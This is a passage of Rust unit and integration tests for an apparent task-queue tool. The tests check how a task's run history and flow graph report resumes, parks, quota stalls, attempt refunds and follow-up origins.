16882        assert_eq!(deleted.status, 204, "{}", deleted.body);
16883
16884        let after = f.get(&format!("/api/talks/{id}")).await;
16885        assert_eq!(after.status, 404, "{}", after.body);
16886
16887        let listed = f.get("/api/talks").await.json();
16888        assert!(
16889            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16890            "a deleted talk must not linger in the list: {listed}"
16891        );
16892    }
16893
16894    #[tokio::test]
16895    async fn talk_delete_on_an_unknown_id_is_404() {
16896        let f = Fixture::start().await;
16897        let res = f.delete("/api/talks/nonexistent-id").await;
16898        assert_eq!(res.status, 404, "{}", res.body);
16899    }
16900
16901    /// A task's page lists every run it ever had, in order, and says what kind
16902    /// of attempt each was - including a resume, which re-pushes the same run
16903    /// id, and a run whose record this build cannot read.
16904    #[tokio::test]
16905    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16906        let f = Fixture::start().await;
16907        let (a, b, gone) = (
16908            "20260902-140501-aaaa",
16909            "20260902-140502-bbbb",
16910            "20260902-140503-cccc",
16911        );
16912        write_run(&f.runs(), a, RunStatus::Stalled);
16913        let mut review = RunState::new(
16914            PathBuf::from("/repo/magi"),
16915            "main".to_owned(),
16916            "0123456789abcdef".to_owned(),
16917            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16918                .to_owned(),
16919            Config::default(),
16920        );
16921        review.id = b.to_owned();
16922        review.status = RunStatus::Merged;
16923        write_state(&f.runs(), &review);
16924
16925        let mut task = Task::new(
16926            "retry".to_owned(),
16927            "Do the thing".to_owned(),
16928            PathBuf::from("/repo/magi"),
16929            Source::Human,
16930        );
16931        task.start(a.to_owned());
16932        task.stall("quota");
16933        task.start(a.to_owned());
16934        task.start(b.to_owned());
16935        task.start(gone.to_owned());
16936        // This fixture models an older queue file with repeated run entries.
16937        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16938        f.queue().put(&mut task).expect("file the task");
16939
16940        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16941        assert_eq!(res.status, 200, "{}", res.body);
16942        let v = res.json();
16943        let h = v["history"].as_array().expect("history");
16944        assert_eq!(h.len(), 4, "{v}");
16945        assert_eq!(h[0]["kind"], "competition");
16946        assert_eq!(h[0]["status"], "stalled");
16947        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16948        assert_eq!(h[1]["kind"], "resume", "{v}");
16949        assert!(
16950            h[0]["outcome"]
16951                .as_str()
16952                .unwrap()
16953                .contains("unknown. Pass #2"),
16954            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16955        );
16956        assert!(
16957            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16958            "{v}"
16959        );
16960        assert!(
16961            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16962            "an unrecorded cause must not be narrated as an operator park: {v}"
16963        );
16964        assert_eq!(h[2]["kind"], "review");
16965        assert!(
16966            h[2]["description"]
16967                .as_str()
16968                .unwrap()
16969                .contains("magi/aaaa/A")
16970        );
16971        assert_eq!(h[2]["status"], "merged");
16972        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16973        assert_eq!(v["runs_unreadable"], 1);
16974        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16975        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16976        assert_eq!(nodes[4]["note"], "unreadable");
16977        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16978        assert_eq!(v["instruction"], "Do the thing");
16979        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16980
16981        // The run's own page links back to the task.
16982        let run = f.get(&format!("/api/runs/{a}")).await.json();
16983        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16984
16985        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16986    }
16987
16988    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16989        let mut s = RunState::new(
16990            PathBuf::from("/repo/magi"),
16991            "main".to_owned(),
16992            "0123456789abcdef".to_owned(),
16993            "Do it".to_owned(),
16994            Config::default(),
16995        );
16996        s.status = status;
16997        edit(&mut s);
16998        s
16999    }
17000
17001    fn flow_task(runs: &[&str]) -> Task {
17002        let mut t = Task::new(
17003            "t".to_owned(),
17004            "Do it".to_owned(),
17005            PathBuf::from("/repo/magi"),
17006            Source::Human,
17007        );
17008        for r in runs {
17009            t.start((*r).to_owned());
17010        }
17011        // Synthetic flows without RunPass records model legacy queue data.
17012        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17013        t
17014    }
17015
17016    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17017        let h = task_history(task, |id| {
17018            states
17019                .iter()
17020                .find(|(i, _)| *i == id)
17021                .and_then(|(_, s)| s.clone())
17022        });
17023        task_flow(task, &h, 5, None)
17024    }
17025
17026    #[test]
17027    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17028        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17029        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17030        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17031        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17032        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17033        let run = flow_run(RunStatus::Implementing, |s| {
17034            s.created_at = created;
17035            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17036            s.passes[0].started_at = first;
17037            s.passes[1].started_at = resumed;
17038        });
17039        let mut task = flow_task(&[RUN_X, RUN_X]);
17040        task.created_at = queued;
17041        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17042        task.status = TaskStatus::Held;
17043        task.held_at = Some(held);
17044        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17045        assert_eq!(
17046            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17047            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17048        );
17049        assert!(flow.nodes.iter().all(|n| n.time_expected));
17050        let json = serde_json::to_value(&flow).unwrap();
17051        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17052        assert_eq!(json["nodes"][2]["time_expected"], true);
17053    }
17054
17055    #[test]
17056    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17057        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17058        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17059        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17060        // These timestamps are not the start of the current status.
17061        task.held_at = Some(created);
17062        task.blocked_at = Some(created);
17063        for status in [
17064            TaskStatus::Queued,
17065            TaskStatus::Running,
17066            TaskStatus::Blocked,
17067            TaskStatus::Done,
17068            TaskStatus::Failed,
17069            TaskStatus::Parked,
17070            TaskStatus::Held,
17071        ] {
17072            task.status = status;
17073            if status == TaskStatus::Held {
17074                task.held_at = None;
17075            }
17076            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17077            assert_eq!(flow.nodes[1].started_at, Some(created));
17078            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17079            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17080            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17081            let json = serde_json::to_value(&flow).unwrap();
17082            assert!(json["nodes"][3]["started_at"].is_null());
17083            assert_eq!(json["nodes"][3]["time_expected"], true);
17084        }
17085    }
17086
17087    #[test]
17088    fn flow_context_links_do_not_expect_start_times() {
17089        let mut task = flow_task(&[]);
17090        task.source = Source::Agent {
17091            run: "chat-id".to_owned(),
17092            node: "chat".to_owned(),
17093        };
17094        let origin = followup_origin(&fu(None), |_| None, |_| None);
17095        let flow = task_flow(&task, &[], 5, Some(&origin));
17096        for node in &flow.nodes[..2] {
17097            assert!(!node.time_expected);
17098            assert_eq!(node.started_at, None);
17099        }
17100        assert!(flow.nodes[2].time_expected);
17101    }
17102
17103    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17104        crate::queue::FollowUp {
17105            run: "20260901-000000-aaaa".to_owned(),
17106            origin_task: origin_task.map(str::to_owned),
17107            pr: "https://example.com/o/r/pull/1".to_owned(),
17108            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17109                .map(str::to_owned)
17110                .to_vec(),
17111            generation: 1,
17112        }
17113    }
17114
17115    fn parent_task() -> Task {
17116        let mut p = flow_task(&[]);
17117        p.title = "Parent title".to_owned();
17118        p.status = TaskStatus::Done;
17119        p
17120    }
17121
17122    #[test]
17123    fn flow_opens_with_the_parent_task_of_a_followup() {
17124        let p = parent_task();
17125        let pid = p.id.clone();
17126        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17127        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17128        let n = &f.nodes[0];
17129        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17130        assert_eq!(
17131            n.label,
17132            format!("Follow-up of {}", crate::queue::short(&pid))
17133        );
17134        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17135        assert_eq!(n.status, Some("done"));
17136        assert_eq!(n.status_of, "task");
17137        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17138        assert_eq!(f.nodes[1].key, "start");
17139        assert_eq!(f.edges[0].from, "origin");
17140        assert_eq!(
17141            f.edges[0].label,
17142            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17143        );
17144    }
17145
17146    #[test]
17147    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17148        let o = followup_origin(
17149            &fu(Some("gone")),
17150            |_| None,
17151            |_| {
17152                Some(RunState::new(
17153                    std::path::PathBuf::from("."),
17154                    "main".to_owned(),
17155                    "0".to_owned(),
17156                    "t".to_owned(),
17157                    crate::config::Config::default(),
17158                ))
17159            },
17160        );
17161        assert!(o.parent.is_none());
17162        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17163        let n = &f.nodes[0];
17164        assert_eq!(n.status_of, "run");
17165        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17166        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17167    }
17168
17169    #[test]
17170    fn flow_followup_with_nothing_readable_has_no_link() {
17171        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17172        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17173        let n = &f.nodes[0];
17174        assert_eq!(n.href, None);
17175        assert_eq!(n.note, Some("unreadable"));
17176        assert!(!n.readable);
17177    }
17178
17179    #[test]
17180    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17181        let o = followup_origin(&fu(None), |_| None, |_| None);
17182        let mut t = flow_task(&[]);
17183        t.origin_chat = Some("c1".to_owned());
17184        let f = task_flow(&t, &[], 5, Some(&o));
17185        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17186        t.source = Source::Agent {
17187            run: "c1".to_owned(),
17188            node: crate::queue::CHAT_NODE.to_owned(),
17189        };
17190        let f = task_flow(&t, &[], 5, Some(&o));
17191        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17192        assert_eq!(
17193            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17194            ("chat", "origin")
17195        );
17196    }
17197
17198    #[test]
17199    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17200        let mut p = parent_task();
17201        p.id = "a b/c".to_owned();
17202        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17203        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17204    }
17205
17206    #[test]
17207    fn flow_opens_with_the_chat_that_queued_the_task() {
17208        let mut t = flow_task(&[]);
17209        t.source = Source::Agent {
17210            run: "a b/c".to_owned(),
17211            node: crate::queue::CHAT_NODE.to_owned(),
17212        };
17213        let f = flow_for(&t, &[]);
17214        assert_eq!(f.nodes[0].key, "chat");
17215        assert_eq!(f.nodes[0].kind, "chat");
17216        assert_eq!(
17217            f.nodes[0].label,
17218            format!("Chat {}", crate::queue::short("a b/c"))
17219        );
17220        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17221        assert_eq!(f.nodes[1].key, "start");
17222        assert_eq!(
17223            f.edges[0],
17224            FlowEdge {
17225                from: "chat".to_owned(),
17226                to: "start".to_owned(),
17227                label: "queued from chat".to_owned(),
17228                attempt: AttemptCost::None,
17229            }
17230        );
17231    }
17232
17233    #[test]
17234    fn flow_has_no_chat_box_for_other_sources() {
17235        for source in [
17236            Source::Human,
17237            Source::Issue {
17238                number: 3,
17239                repo: "o/r".to_owned(),
17240            },
17241            Source::Agent {
17242                run: "20260904-014455-ab12".to_owned(),
17243                node: "implement".to_owned(),
17244            },
17245        ] {
17246            let mut t = flow_task(&[]);
17247            t.source = source;
17248            let f = flow_for(&t, &[]);
17249            assert_eq!(f.nodes[0].key, "start");
17250            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17251            assert!(f.edges.iter().all(|e| e.from != "chat"));
17252        }
17253    }
17254
17255    const FA: &str = "20260902-140501-aaaa";
17256    const FB: &str = "20260902-140502-bbbb";
17257
17258    #[test]
17259    fn flow_follows_blocked_retry_merged_to_done() {
17260        let mut t = flow_task(&[FA, FB]);
17261        t.status = TaskStatus::Done;
17262        let f = flow_for(
17263            &t,
17264            &[
17265                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17266                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17267            ],
17268        );
17269        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17270        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17271        assert_eq!(f.edges.len(), 3);
17272        assert_eq!(f.edges[0].label, "claimed");
17273        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17274        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17275        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17276        assert_eq!(
17277            f.nodes[2].href.as_deref(),
17278            Some("#/runs/20260902-140502-bbbb")
17279        );
17280        assert!(f.nodes[2].decided);
17281    }
17282
17283    #[test]
17284    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17285        let quota = || {
17286            flow_run(RunStatus::Stalled, |s| {
17287                s.quota.push(crate::run::QuotaLoss {
17288                    cause: crate::agent::QuotaCause::UsageLimit,
17289                    agent: String::new(),
17290                    seat: "judge-1".to_owned(),
17291                    node: "judge".to_owned(),
17292                    at: Timestamp::now(),
17293                    reset: None,
17294                })
17295            })
17296        };
17297        let mut t = flow_task(&[FA, FA]);
17298        t.status = TaskStatus::Queued;
17299        let f = flow_for(&t, &[(FA, Some(quota()))]);
17300        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17301        assert_eq!(f.nodes[1].note, Some("interrupted"));
17302        assert_eq!(
17303            f.nodes[1].status, None,
17304            "no outcome copied onto an earlier pass"
17305        );
17306        assert_eq!(
17307            f.edges[1].attempt,
17308            AttemptCost::Unknown,
17309            "a resume does not prove the earlier pass was refunded"
17310        );
17311        assert!(f.edges[1].label.contains("resume the same run"));
17312        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17313        assert_eq!(
17314            f.edges[2].label,
17315            "stalled after a resume, refund unknown \u{2192} queued"
17316        );
17317        assert!(!f.nodes[2].decided, "a stall is not a decision");
17318        assert_eq!(f.nodes[2].note, Some("no verdict"));
17319    }
17320
17321    #[test]
17322    fn flow_single_pass_quota_stall_is_refunded() {
17323        let t = flow_task(&[FA]);
17324        let f = flow_for(
17325            &t,
17326            &[(
17327                FA,
17328                Some(flow_run(RunStatus::Stalled, |s| {
17329                    s.quota.push(crate::run::QuotaLoss {
17330                        cause: crate::agent::QuotaCause::UsageLimit,
17331                        agent: String::new(),
17332                        seat: "judge-1".to_owned(),
17333                        node: "judge".to_owned(),
17334                        at: Timestamp::now(),
17335                        reset: None,
17336                    })
17337                })),
17338            )],
17339        );
17340        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17341    }
17342
17343    #[test]
17344    fn flow_parked_refunds_and_stall_without_quota_spends() {
17345        let mut t = flow_task(&[FA]);
17346        t.status = TaskStatus::Queued;
17347        let f = flow_for(
17348            &t,
17349            &[(
17350                FA,
17351                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17352            )],
17353        );
17354        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17355        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17356        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17357        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17358        assert!(!f.nodes[1].decided);
17359    }
17360
17361    #[test]
17362    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17363        let t = flow_task(&[FA, FB]);
17364        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17365        assert_eq!(f.nodes[1].note, Some("unreadable"));
17366        assert!(!f.nodes[1].readable);
17367        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17368        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17369    }
17370
17371    #[test]
17372    fn flow_names_the_branch_of_a_review_only_run() {
17373        let t = flow_task(&[FA]);
17374        let f = flow_for(
17375            &t,
17376            &[(
17377                FA,
17378                Some(flow_run(RunStatus::Merged, |s| {
17379                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17380                })),
17381            )],
17382        );
17383        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17384        assert_eq!(
17385            f.nodes[1].detail.as_deref(),
17386            Some("review-only run of branch magi/x/A")
17387        );
17388    }
17389
17390    #[test]
17391    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17392        let mut t = flow_task(&[FA]);
17393        t.status = TaskStatus::Held;
17394        let pr = crate::run::PrRecord {
17395            url: "https://example.test/pr/1".to_owned(),
17396            number: 1,
17397            state: "open".to_owned(),
17398            checks: "green".to_owned(),
17399            round: 0,
17400            rounds: 3,
17401            red_at_merge: Vec::new(),
17402        };
17403        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17404        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17405        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17406        t.status = TaskStatus::Done;
17407        let f = flow_for(&t, &[(FA, Some(blocked))]);
17408        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17409    }
17410
17411    #[test]
17412    fn flow_with_no_runs_goes_from_queued_to_queued() {
17413        let t = flow_task(&[]);
17414        let f = flow_for(&t, &[]);
17415        assert_eq!(f.nodes.len(), 2);
17416        assert_eq!(f.edges.len(), 1);
17417        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17418        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17419    }
17420
17421    /// A run parked mid-flight keeps a non-terminal status; the page must
17422    /// still say why it stopped and that the attempt came back.
17423    #[test]
17424    fn a_parked_non_terminal_run_is_explained_as_parked() {
17425        let mut s = RunState::new(
17426            PathBuf::from("/repo/magi"),
17427            "main".to_owned(),
17428            "0123456789abcdef".to_owned(),
17429            "Do it".to_owned(),
17430            Config::default(),
17431        );
17432        s.status = RunStatus::Implementing;
17433        s.parked = true;
17434        let task = Task::new(
17435            "t".to_owned(),
17436            "Do it".to_owned(),
17437            PathBuf::from("/repo/magi"),
17438            Source::Human,
17439        );
17440        let v = task_run_view(
17441            "20260902-140501-aaaa",
17442            Some(&s),
17443            RunSlot {
17444                n: 1,
17445                resumed: false,
17446                resumed_later: None,
17447                prior: None,
17448                last: true,
17449                ..RunSlot::default()
17450            },
17451            &task,
17452        );
17453        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17454    }
17455
17456    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17457        let mut s = flow_run(RunStatus::Implementing, edit);
17458        s.parked = false;
17459        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17460        task_run_view(
17461            "20260902-140501-aaaa",
17462            Some(&s),
17463            RunSlot {
17464                n: 1,
17465                resumed: false,
17466                resumed_later: Some(2),
17467                prior: None,
17468                last: false,
17469                ..RunSlot::default()
17470            },
17471            &task,
17472        )
17473    }
17474
17475    #[test]
17476    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17477        let v = earlier_pass_view(|_| {});
17478        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17479        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17480        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17481        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17482        assert_eq!(v.exit, RunExit::Interrupted);
17483        assert_eq!(v.attempt, AttemptCost::Unknown);
17484    }
17485
17486    #[test]
17487    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17488        let v = earlier_pass_view(|s| {
17489            s.quota.push(crate::run::QuotaLoss {
17490                cause: crate::agent::QuotaCause::UsageLimit,
17491                agent: String::new(),
17492                seat: "judge-1".to_owned(),
17493                node: "judge".to_owned(),
17494                at: Timestamp::now(),
17495                reset: None,
17496            });
17497        });
17498        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17499        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17500        assert_eq!(v.attempt, AttemptCost::Unknown);
17501    }
17502
17503    #[test]
17504    fn the_current_pass_states_its_recorded_cause_and_cost() {
17505        let slot = || RunSlot {
17506            n: 1,
17507            resumed: false,
17508            resumed_later: None,
17509            prior: None,
17510            last: true,
17511            ..RunSlot::default()
17512        };
17513        let task = flow_task(&["20260902-140501-aaaa"]);
17514        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17515        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17516        assert_eq!(
17517            (v.exit, v.attempt),
17518            (RunExit::Parked, AttemptCost::Refunded)
17519        );
17520        let spent = flow_run(RunStatus::Blocked, |_| {});
17521        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17522        assert_eq!(v.attempt, AttemptCost::Spent);
17523        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17524    }
17525
17526    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17527        crate::run::RunPass {
17528            index,
17529            started_at: Timestamp::now(),
17530            resumed: index > 0,
17531            ended_at: end.as_ref().map(|_| Timestamp::now()),
17532            end,
17533            task_entry: true,
17534        }
17535    }
17536
17537    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17538        Some(crate::run::PassEnd::Parked { cause })
17539    }
17540
17541    fn upgrade_cause() -> crate::run::ParkCause {
17542        crate::run::ParkCause::Upgrade {
17543            from: "0.121.0".to_owned(),
17544            to: Some("0.121.1".to_owned()),
17545        }
17546    }
17547
17548    fn settled_pass(
17549        run: &str,
17550        index: usize,
17551        cost: crate::queue::PassCost,
17552    ) -> crate::queue::TaskPass {
17553        crate::queue::TaskPass {
17554            run: run.to_owned(),
17555            pass_index: index,
17556            started_at: None,
17557            cost,
17558            attempts_after: 1,
17559            settled_at: Timestamp::now(),
17560            parked: None,
17561        }
17562    }
17563
17564    const RUN_X: &str = "20261011-223708-4334";
17565
17566    #[test]
17567    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17568        use crate::queue::PassCost;
17569        let run = flow_run(RunStatus::Implementing, |s| {
17570            s.passes = vec![
17571                recorded_pass(0, parked(upgrade_cause())),
17572                recorded_pass(1, None),
17573            ];
17574        });
17575        let mut task = flow_task(&[RUN_X, RUN_X]);
17576        task.attempts = 1;
17577        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17578        let h = task_history(&task, |_| Some(run.clone()));
17579        assert_eq!(h.len(), 2);
17580        assert_eq!(h[0].kind, "competition");
17581        assert_eq!(h[1].kind, "resume");
17582        assert_eq!(
17583            (h[0].exit, h[0].attempt),
17584            (RunExit::Parked, AttemptCost::Refunded)
17585        );
17586        assert!(
17587            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17588            "{}",
17589            h[0].outcome
17590        );
17591        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17592        assert!(
17593            h[0].outcome.contains("pass #2 resumed the same run"),
17594            "{}",
17595            h[0].outcome
17596        );
17597        assert!(
17598            h[0].outcome.contains("pass 1 of 2 over run"),
17599            "{}",
17600            h[0].outcome
17601        );
17602        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17603        assert_eq!(
17604            h[0].exit_label,
17605            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17606        );
17607        let f = task_flow(&task, &h, 2, None);
17608        // Two passes of one run, one of two attempts consumed.
17609        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17610        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17611        assert!(
17612            f.edges[1].label.contains("upgrade 0.121.0"),
17613            "{}",
17614            f.edges[1].label
17615        );
17616        assert!(
17617            f.edges[1].label.contains("resume the same run"),
17618            "{}",
17619            f.edges[1].label
17620        );
17621        assert_eq!(f.nodes[1].note, Some("parked"));
17622    }
17623
17624    #[test]
17625    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17626        let mut a = flow_run(RunStatus::Implementing, |s| {
17627            s.passes = vec![
17628                recorded_pass(0, parked(upgrade_cause())),
17629                recorded_pass(1, None),
17630            ];
17631        });
17632        let mut b = flow_run(RunStatus::Failed, |s| {
17633            s.passes = vec![recorded_pass(0, None)];
17634        });
17635        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17636        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17637        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17638        let mut task = flow_task(&[]);
17639        task.start("a".into());
17640        task.start("b".into());
17641        task.start("a".into());
17642        assert_eq!(task.runs, ["b", "a"]);
17643        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17644        let h = task_history(&task, |id| {
17645            Some(if id == "a" { a.clone() } else { b.clone() })
17646        });
17647        assert_eq!(
17648            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17649            ["a", "b", "a"]
17650        );
17651        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17652        assert!(h[0].outcome.contains("upgrade"));
17653        assert_eq!(h[2].kind, "resume");
17654        assert!(h[2].pass.is_some());
17655        // The old repeated-id format must show the same recorded passes.
17656        task.runs = vec!["a".into(), "b".into(), "a".into()];
17657        let old = task_history(&task, |id| {
17658            Some(if id == "a" { a.clone() } else { b.clone() })
17659        });
17660        assert_eq!(
17661            old.iter()
17662                .map(|v| (&v.id, &v.kind, v.attempt))
17663                .collect::<Vec<_>>(),
17664            h.iter()
17665                .map(|v| (&v.id, &v.kind, v.attempt))
17666                .collect::<Vec<_>>()
17667        );
17668    }
17669
17670    #[test]
17671    fn an_upgrade_whose_target_was_not_known_says_so() {
17672        let run = flow_run(RunStatus::Implementing, |s| {
17673            s.passes = vec![
17674                recorded_pass(
17675                    0,
17676                    parked(crate::run::ParkCause::Upgrade {
17677                        from: "0.121.0".to_owned(),
17678                        to: None,
17679                    }),
17680                ),
17681                recorded_pass(1, None),
17682            ];
17683        });
17684        let task = flow_task(&[RUN_X, RUN_X]);
17685        let h = task_history(&task, |_| Some(run.clone()));
17686        assert!(
17687            h[0].outcome.contains("upgrade from 0.121.0"),
17688            "{}",
17689            h[0].outcome
17690        );
17691        // No settle record: the refund is not claimed.
17692        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17693    }
17694
17695    #[test]
17696    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17697        use crate::queue::PassCost;
17698        use crate::run::ParkCause;
17699        let run = flow_run(RunStatus::Implementing, |s| {
17700            s.passes = vec![
17701                recorded_pass(0, parked(upgrade_cause())),
17702                recorded_pass(
17703                    1,
17704                    parked(ParkCause::Interrupt {
17705                        reason: "task a1b2 asked to run first".to_owned(),
17706                    }),
17707                ),
17708                recorded_pass(2, parked(ParkCause::Operator)),
17709                recorded_pass(3, None),
17710            ];
17711        });
17712        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17713        task.attempts = 1;
17714        task.passes = (0..3)
17715            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17716            .collect();
17717        let h = task_history(&task, |_| Some(run.clone()));
17718        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17719        assert!(
17720            h[1].outcome.contains("task a1b2 asked to run first"),
17721            "{}",
17722            h[1].outcome
17723        );
17724        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17725        assert!(
17726            h[2].outcome.contains("operator asked the loop to park"),
17727            "{}",
17728            h[2].outcome
17729        );
17730        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17731        let f = task_flow(&task, &h, 2, None);
17732        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17733    }
17734
17735    #[test]
17736    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17737        let run = flow_run(RunStatus::Implementing, |s| {
17738            s.passes = vec![
17739                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17740                recorded_pass(1, None),
17741            ];
17742        });
17743        let task = flow_task(&[RUN_X, RUN_X]);
17744        let h = task_history(&task, |_| Some(run.clone()));
17745        assert_eq!(h[0].exit, RunExit::Interrupted);
17746        assert_eq!(h[0].attempt, AttemptCost::Unknown);
